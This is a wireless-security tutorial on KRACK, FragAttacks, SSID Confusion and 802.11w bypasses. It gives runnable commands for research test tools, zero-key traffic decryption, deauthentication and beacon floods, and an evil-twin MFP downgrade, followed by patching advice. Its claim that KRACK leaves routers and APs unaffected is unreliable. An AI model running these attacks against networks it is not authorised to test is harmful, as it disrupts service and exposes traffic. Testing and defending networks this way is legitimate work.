Advanced Wireless Attacks

KRACK key reinstallation, FragAttacks frame aggregation and fragmentation exploits, SSID Confusion (CVE-2023-52424), and 802.11w MFP bypasses. Mesh, Wi-Fi Direct, covert channels and drone hijacking are in the sub-topics below.

KRACK - Key Reinstallation Attacks

KRACK (Key Reinstallation AttaCK) is a fundamental cryptographic vulnerability in the WPA2 protocol discovered in 2017 by Mathy Vanhoef. Unlike typical WiFi attacks that target weak passwords, KRACK exploits a design flaw in how WPA2 handles encryption key installation during the 4-way handshake. This means any correctly implemented WPA2 network is vulnerable regardless of password strength.

The attack works by manipulating the WPA2 handshake to force the victim to reinstall an already-in-use encryption key. When a key is reinstalled, associated parameters like the nonce (number used once) and replay counter are reset to their initial values. By forcing nonce reuse, an attacker can decrypt, replay, and forge packets without knowing the WiFi password.

KRACK Technical Overview

To understand KRACK, you need to know how the WPA2 4-way handshake works. When a client connects to a WPA2 network, both parties derive encryption keys from the pre-shared key (PSK) and exchange nonces through a 4-message handshake. The third message installs the Pairwise Transient Key (PTK) used to encrypt unicast traffic.

The vulnerability: Message 3 can be retransmitted if the AP doesn't receive an acknowledgment for Message 4. The WPA2 standard doesn't explicitly prevent key reinstallation when receiving duplicate Message 3 packets. An attacker can abuse this by blocking Message 4 acknowledgments and repeatedly replaying Message 3, forcing the victim to reinstall the same key multiple times.

When the key is reinstalled, the nonce is reset to zero (or a known value depending on the implementation). Since the same key is now being used with a previously used nonce, the attacker can use this to decrypt traffic, forge packets, and perform man-in-the-middle attacks without ever cracking the WiFi password.

1. KRACK Attack Tool Setup

The original KRACK proof-of-concept by Mathy Vanhoef demonstrates the attack. You'll need two WiFi interfaces: one to act as a rogue AP (channel-based MitM) and another to communicate with the target. The tool works by cloning the target AP and precisely timing Message 3 replays to force key reinstallation.

# Clone the krackattacks-scripts test suite
git clone https://github.com/vanhoefm/krackattacks-scripts
cd krackattacks-scripts

# Install dependencies
sudo apt install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools git sysfsutils python3-scapy python3-pycryptodome

# Compile the modified hostapd the scripts use
cd krackattack
./build.sh

# krackattacks-scripts is a TEST suite: these scripts act as the AP and
# replay Message 3 to check whether a client reinstalls the key.
# Requires two WiFi interfaces.
sudo ./krack-test-client.py

# 802.11r fast-transition (FT) variant
sudo ./krack-ft-test.py

2. Detect KRACK Vulnerability

# Test script for KRACK vulnerability
#!/bin/bash
# krack-test.sh

TARGET_MAC="$1"
CHANNEL="$2"

echo "[*] Testing $TARGET_MAC for KRACK vulnerability"

# Capture handshake
sudo airodump-ng -c $CHANNEL --bssid $TARGET_MAC -w krack-test wlan0mon &
AIRODUMP_PID=$!

sleep 5

# Deauth to force handshake
sudo aireplay-ng -0 5 -a $TARGET_MAC wlan0mon

sleep 10
sudo kill $AIRODUMP_PID

# Check for handshake
if aircrack-ng krack-test-01.cap | grep -q "handshake"; then
  echo "[+] Handshake captured"
  
  # Attempt key reinstallation
  sudo python3 krack-test-client.py -i wlan1 -t $TARGET_MAC
  
  if [ $? -eq 0 ]; then
    echo "[!] VULNERABLE to KRACK!"
  else
    echo "[+] Appears patched"
  fi
else
  echo "[-] Failed to capture handshake"
fi

3. Reproduce the Zero-Key MitM

# A vulnerable client can reinstall an all-zero TK, so captured traffic is
# decryptable with a known key. Use the same test suite to force it.

# 1. Run the client test to force key/nonce reinstallation
sudo ./krack-test-client.py -i wlan1 -t <CLIENT_MAC>

# 2. Capture traffic (now decryptable)
sudo airodump-ng -c <CHANNEL> --bssid <AP_BSSID> -w krack-decrypt wlan0mon

# 3. Decrypt with the all-zero key
airdecap-ng -e <ESSID> -p <ZEROS> krack-decrypt-01.cap

# 4. Analyze decrypted traffic
wireshark krack-decrypt-01-dec.cap

# Packet injection / TCP hijacking need separate tooling; the research
# repository only ships the test scripts, not an injection utility.

FragAttacks - Fragmentation & Aggregation Vulnerabilities

FragAttacks (Fragmentation and Aggregation Attacks) are a collection of design flaws in the WiFi standard discovered in 2021, also by Mathy Vanhoef. These vulnerabilities affect WiFi since its inception in 1997 and remain present in WPA3. Unlike KRACK which targets key management, FragAttacks exploit how WiFi handles frame fragmentation and aggregation to inject plaintext frames into encrypted networks.

The core issue: WiFi allows mixing encrypted and unencrypted fragments/subframes without proper origin verification. This enables attackers to inject malicious plaintext data that gets processed by the victim despite being on an encrypted network. The attacks work even when the attacker doesn't know the WiFi password and can be executed from outside the network.

FragAttacks encompass 12 vulnerabilities (CVE-2020-24586 through CVE-2020-26147) grouped into three main categories: aggregation attacks, mixed key attacks, and fragment cache poisoning. These can be used to exfiltrate user data, hijack TCP connections, and inject malicious content into victim devices.

FragAttacks Technical Overview

1. FragAttacks Testing Framework

The FragAttacks research toolkit by Mathy Vanhoef includes patched versions of hostapd and wpa_supplicant that can both detect vulnerabilities and perform attacks. The tool systematically tests devices for all 12 vulnerabilities and generates detailed reports. It requires a WiFi adapter with injection capabilities and works in both AP and client testing modes.

# Install the fragattacks research toolkit
git clone https://github.com/vanhoefm/fragattacks.git fragattacks
cd fragattacks/research

# Build the patched hostapd/wpa_supplicant and set up the virtualenv
./build.sh
./pysetup.sh

# Entry point for every test — there is no separate run-ap.sh / test-ap.sh.
# From the README "Interface Modes":
#   sudo ./fragattack.py <iface> [--inject <monitor-iface>] [--ap] <command>
# --inject uses a second card to inject frames; --ap makes the tool create a
# test AP ("testnetwork"/"abcdefgh") for the client under test to join.
# Before each session, run:  cd research && sudo su && source venv/bin/activate

# Tests include:
# - A-MSDU injection      (amsdu-inject)
# - Mixed key attacks     (ping I,F,BE,AE)
# - Cache poisoning       (ping I,E,R,AE)
# - Fragment behaviour    (ping I,E,E / ping-frag-sep)

2. A-MSDU Injection Attack (CVE-2020-24588)

This is the most practical FragAttack variant. A-MSDU (Aggregate MAC Service Data Unit) allows multiple Ethernet frames to be bundled into a single WiFi frame for efficiency. The vulnerability: APs don't verify that all subframes are properly authenticated/encrypted. An attacker can create an A-MSDU frame where the outer frame is encrypted but inner subframes contain plaintext data. The AP decrypts the outer frame and forwards the plaintext subframes to the victim.

Attack scenario: Attacker connects to target network (or creates evil twin), sends specially crafted A-MSDU frame to AP with victim's MAC as destination. AP forwards the plaintext subframe to victim who processes it as legitimate traffic. This bypasses encryption without knowing the WiFi password and works from inside or outside the network.

# Test/exploit CVE-2020-24588 (A-MSDU injection)
# Run from fragattacks/research/ with the venv active.

# Mixed mode (one card):
sudo ./fragattack.py wlan0 amsdu-inject

# Injection mode (second card injects frames):
sudo ./fragattack.py wlan0 --inject wlan1 amsdu-inject

# amsdu-inject sends an A-MSDU frame whose start is also a valid rfc1042
# (LLC/SNAP) header; devices that mis-parse it need amsdu-inject-bad instead.
# The tool prints "TEST COMPLETED SUCCESSFULLY" when the target is vulnerable.

# Attack flow:
# 1. Attacker sends encrypted A-MSDU frame to AP
# 2. First subframe: legitimate encrypted data
# 3. Second subframe: malicious plaintext
# 4. AP forwards plaintext subframe to client
# 5. Client processes plaintext (bypasses encryption!)

# Use cases:
# - DNS spoofing
# - HTTP injection
# - ARP spoofing

3. Fragment Cache Poisoning (CVE-2020-24586)

WiFi supports frame fragmentation to split large packets across multiple smaller frames. Fragments are cached until all pieces arrive for reassembly. The attack: inject a malicious fragment into the cache, then trigger reassembly with a legitimate fragment. The victim combines your poisoned fragment with legitimate traffic, executing the malicious payload.

This attack requires patience. First, send a fragment with sequence number matching a future legitimate packet. The fragment sits in cache (often for 60 seconds to 10 minutes depending on implementation). When the victim sends or receives the matching legitimate fragment, the OS reassembles your poison with their traffic. This can inject arbitrary data into TCP streams, DNS queries, or HTTP requests.

# Test/exploit CVE-2020-24586 (fragment cache poisoning)

# Mixed mode:
sudo ./fragattack.py wlan0 ping I,E,R,AE

# Injection mode:
sudo ./fragattack.py wlan0 --inject wlan1 ping I,E,R,AE

# The tool sends a first fragment, triggers a reassociation, then injects the
# second fragment. Variants (README 7.5 "Cache attack tests"):
#   ping I,E,R,E               -> longer delay before the second fragment
#   ping I,E,R,AE --full-recon -> deauthenticate and reconnect instead

# Attack steps:
# 1. Send fragmented frame with PN=1 (poisoned)
# 2. Wait for cache timeout (varies: 60s - 10min)
# 3. Send legitimate fragment to trigger reassembly
# 4. Victim combines poisoned + legitimate fragments
# 5. Malicious payload executed

# Requires:
# - Knowledge of PN (Packet Number) handling
# - Timing of cache eviction

SSID Confusion (CVE-2023-52424)

SSID Confusion (CVE-2023-52424, disclosed 2024 by Vanhoef, Adhikari & Pöpper) is a design flaw in the 802.11 standard itself: the SSID (network name) is not authenticated as part of the 4-way handshake / SAE key derivation on most networks. An attacker can therefore trick a victim into believing they are connected to a trusted network when they are actually associated with a different, attacker-chosen one — without cracking any credentials. It affects essentially all WiFi clients (WPA2 and WPA3) and works whenever two networks share the same authentication credentials (a very common enterprise pattern, e.g. a shared RADIUS backend across SSIDs, or 802.11r roaming).

Preconditions for a practical SSID Confusion attack:

1. Two networks share the same authentication credentials (the same PSK, or the same RADIUS/EAP backend) but use different SSIDs.
2. The attacker is in range of the victim and can spoof the trusted SSID's beacons while relaying authentication to the second network.

Step 1 — enumerate candidate networks that may share credentials (look for the same organisation running multiple SSIDs off one RADIUS server):

sudo airodump-ng wlan0mon

Step 2 — multi-channel MITM: advertise the trusted SSID while relaying the 802.11 authentication to the network whose credentials are actually accepted. Vanhoef's proof-of-concept builds on the MC-MITM position used by KRACK/FragAttacks tooling. (No packaged SSID-Confusion attack tool exists; vanhoefm/macstealer is unrelated — it targets the separate client-isolation bypass, CVE-2022-47522.)

Defensive validation — confirm your own clients/APs are patched:

• AP: enable "SSID protection" (beacon protection, 802.11 Beacon Protection / BIGTK)
• Client: OS/supplicant updates that bind SSID into the 4-way handshake

Testing & Verification

When performing security assessments, you need to systematically test for these vulnerabilities and document findings. Each attack vector requires specific testing procedures and tools. Below are verification methods for each attack.

KRACK Vulnerability Testing

Testing for KRACK requires attempting to force key reinstallation and observing if the device accepts duplicate Message 3 frames during the handshake. The test should verify both pairwise key (PTK) and group key (GTK) reinstallation variants. Success indicators include nonce reset to zero or observable packet replay acceptance.

# From the krackattacks-scripts/ directory
# Force key reinstallation and observe whether the client accepts the replayed
# Message 3 and installs the (all-zero) key.
sudo ./krack-test-client.py -i wlan1 -t <CLIENT_MAC>

# A vulnerable client installs the zero key; a patched client refuses it.
# Repeat over the 802.11r fast-transition path:
sudo ./krack-ft-test.py

FragAttacks Vulnerability Detection

The FragAttacks test suite runs 12 different vulnerability checks against target devices. Each test attempts a specific attack variant (A-MSDU injection, fragment reassembly, cache poisoning, etc.) and reports whether the device is vulnerable. Testing should be performed against both APs (router/network side) and clients (device side) as vulnerabilities differ.

# From fragattacks/research/ with the venv active (see the FragAttacks section above)
sudo ./fragattack.py wlan0 --inject wlan1 ping I,F,BE,AE

# Each command maps to one check; a vulnerable device prints
# "TEST COMPLETED SUCCESSFULLY" (README 7 "Testing for Vulnerabilities").
# Run the individual commands (amsdu-inject, ping I,E,R,AE, eapol-amsdu I,P,
# ping I,E,P, ...) to cover the A-MSDU, mixed-key, cache and plaintext classes.

802.11w — Management Frame Protection (MFP)

802.11w (Protected Management Frames) was introduced to prevent deauthentication, disassociation, and other management frame attacks. WPA3 mandates 802.11w, but WPA2 implementations often make it optional. Understanding MFP is critical because it directly affects whether deauth-based attacks (handshake capture, evil twin) will work against a target network.

Detecting MFP Status

# Check if MFP is enabled on a target network
# airodump-ng has no --mfp option and does not expose MFPC/MFPR; use iw,
# Wireshark or tshark instead.

# Method 1: Inspect beacon frames with Wireshark
# Filter: wlan.rsn.capabilities.mfpc == 1  (MFP Capable)
# Filter: wlan.rsn.capabilities.mfpr == 1  (MFP Required)

# Method 2: iw scan output
sudo iw dev wlan0 scan | grep -A 20 "SSID: TargetNetwork"
# Look for: "* Group mgmt cipher suite: AES-128-CMAC" → MFP enabled
# Look for: "* Management frame protection: required" or "capable"

# Method 3: tshark automated check
sudo tshark -i wlan0mon -Y "wlan.bssid == AA:BB:CC:DD:EE:FF && wlan.fc.type_subtype == 8" \
  -T fields -e wlan.rsn.capabilities.mfpc -e wlan.rsn.capabilities.mfpr -c 1

MFP Bypass Techniques

# ============================================
# Bypass 1: MFP Optional → Downgrade Attack
# ============================================
# When MFP is "optional" (capable but not required),
# create an evil twin that doesn't advertise MFP support.
# Clients will connect without MFP protection.

# Clone AP without MFP in hostapd config:
# ieee80211w=0   (disable MFP on evil twin)

# Then deauth the client from the real AP
# The client reconnects to your evil twin without MFP
sudo aireplay-ng -0 10 -a <REAL_BSSID> wlan0mon

# ============================================
# Bypass 2: MFP Required → Deauth & WIDS Confusion
# ============================================
# When MFP is required, unprotected deauth frames are dropped, so a plain
# deauth flood no longer lands against MFP-capable clients.

# mdk4 mode d = deauthentication flood (NOT radio jamming: a deauth frame is
# a management frame, so an MFP-required client drops it)
sudo mdk4 wlan0mon d -c <CHANNEL>  # Deauthentication flood

# mdk4 mode w = WIDS confusion (NOT a CSA attack): it emits fake WIDS/IDS
# frames to mask real activity
sudo mdk4 wlan0mon w -c <CHANNEL>

# For a spoofed CSA (Channel Switch Announcement) attack — some
# implementations don't protect CSA frames under MFP — see the Scapy CSA
# approach on 06-deauth.

# ============================================
# Bypass 3: TKIP Countermeasures Exploit
# ============================================
# If the network uses TKIP (even as a group cipher),
# MFP can be bypassed via TKIP MIC failure injection
# This forces a 60-second network shutdown

# ============================================
# Bypass 4: Beacon Flooding
# ============================================
# Flood the area with beacons for the same SSID
# This confuses client network selection (no MFP on beacons)
sudo mdk4 wlan0mon b -n "TargetSSID" -c <CHANNEL> -s 1000

Defense & Mitigation Strategies

Protecting against advanced wireless attacks requires a layered approach: patching vulnerabilities, implementing compensating controls, and monitoring for attack indicators. Since many devices (especially IoT) never receive security updates, defense-in-depth becomes critical. The strategies below apply to both enterprise and home environments.

Patching & Updates

KRACK: Patches were released October 2017+ for major operating systems. Update all devices (routers, laptops, phones, IoT). Note: Only the client side needs patching—routers/APs aren't vulnerable. However, many IoT devices never received patches and remain vulnerable. For these, isolate to a separate VLAN or upgrade to WPA3.

FragAttacks: Patches rolled out starting May 2021. This vulnerability affects both APs and clients, so both sides need updates. Check with your device manufacturer for firmware updates. Many consumer routers and IoT devices remain unpatched—consider replacing vulnerable hardware that won't receive updates.

Verify It Worked

Key Takeaways